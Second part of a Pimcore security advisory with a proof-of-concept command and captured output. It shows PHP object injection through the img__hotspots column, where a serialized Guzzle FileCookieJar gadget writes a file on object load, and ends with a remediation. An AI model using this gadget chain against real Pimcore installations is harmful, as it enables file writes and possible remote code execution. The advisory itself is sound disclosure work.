Advisory

GHSA-w23p-wrp7-ch38

Details, part 2 of 2. The advisory

Details

$stored = (string) $db->fetchOne('SELECT img__hotspots FROM ' . $store . ' WHERE oo_id = ?', [$objId]);
$o(' stored prefix: ' . substr($stored, 0, 60));
$o(' json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . ' (=> unserialize fallback)');

$o('=== STEP 5: clear cache + reload object => getDataFromResource() ===');
\Pimcore\Cache::clearAll();
\Pimcore\Cache\RuntimeCache::clear();
$o(' target file before load exists? ' . var_export(file_exists($target), true));

if ($input->getOption('restricted')) {
$o(' [negative control] fixed wrapper allowed_classes=false on the same bytes');
$res = @unserialize($stored, ['allowed_classes' => false]);
$o(' returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));
gc_collect_cycles();
} else {
try {
$reloaded = DataObject\Concrete::getById($objId, ['force' => true]);
$reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load
$o(' reloaded class=' . get_class($reloaded));
unset($reloaded);
} catch (\Throwable $e) {
$o(' (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage());
}
gc_collect_cycles();
}

$o('=== RESULT ===');
clearstatcache();
if (file_exists($target)) {
$o(' [VULNERABLE] gadget file WRITTEN: ' . $target);
$o(' contents: ' . trim((string) file_get_contents($target)));
} else {
$o(' [NOT TRIGGERED] target file absent');
}
return Command::SUCCESS;
}
}


Captured output — RUN A (positive, gadget):

=== STEP 1: create DataObject class with a Hotspotimage field ===
class id=1
=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===
asset id=2
=== STEP 3: create+save object carrying that image ===
object id=4 store=object_store_1
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
json_decode(stored) === null ? true (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
(post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array
=== RESULT ===
[VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt
contents: [{"Expires":1,"Discard":false,"Value":"PWNED_BY_DESERIALIZATION_1780420803"}]


Captured output — RUN B (negative control, benign JSON in the column):

=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
[negative control] storing benign JSON
stored prefix: {"hotspots":[],"marker":[],"crop":[]}
json_decode(stored) === null ? false (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
reloaded class=Pimcore\Model\DataObject\E2eHotspot
=== RESULT ===
[NOT TRIGGERED] target file absent


Captured output — RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):

=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
json_decode(stored) === null ? true (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
[negative control] fixed wrapper allowed_classes=false on the same bytes
returned type=object class=__PHP_Incomplete_Class
=== RESULT ===
[NOT TRIGGERED] target file absent


RUN A shows the attacker bytes drive `unserialize()` to instantiate the `GuzzleHttp\Cookie\FileCookieJar` gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe `json_decode` branch (no deserialization, no file). RUN C shows that performing the same deserialization with an `allowed_classes` allowlist returns an inert `__PHP_Incomplete_Class` and the gadget never runs — i.e. the proposed fix neutralizes the attack.

## Impact

PHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled `guzzlehttp/guzzle 7.11.0` `FileCookieJar` chain. Because the `*__hotspots` column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.

## Remediation

Make `Serialize::unserialize()` safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.

Preferred minimal fix at the wrapper (closes the whole `Serialize::unserialize()`-without-allowlist family in one place):
```php
public static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed

(i.e. flip the default to false, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass ['allowed_classes' => false] (or a tight allowlist such as [MarkerHotspotItem::class]) explicitly. RUN C above confirms allowed_classes deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1

Sources & licences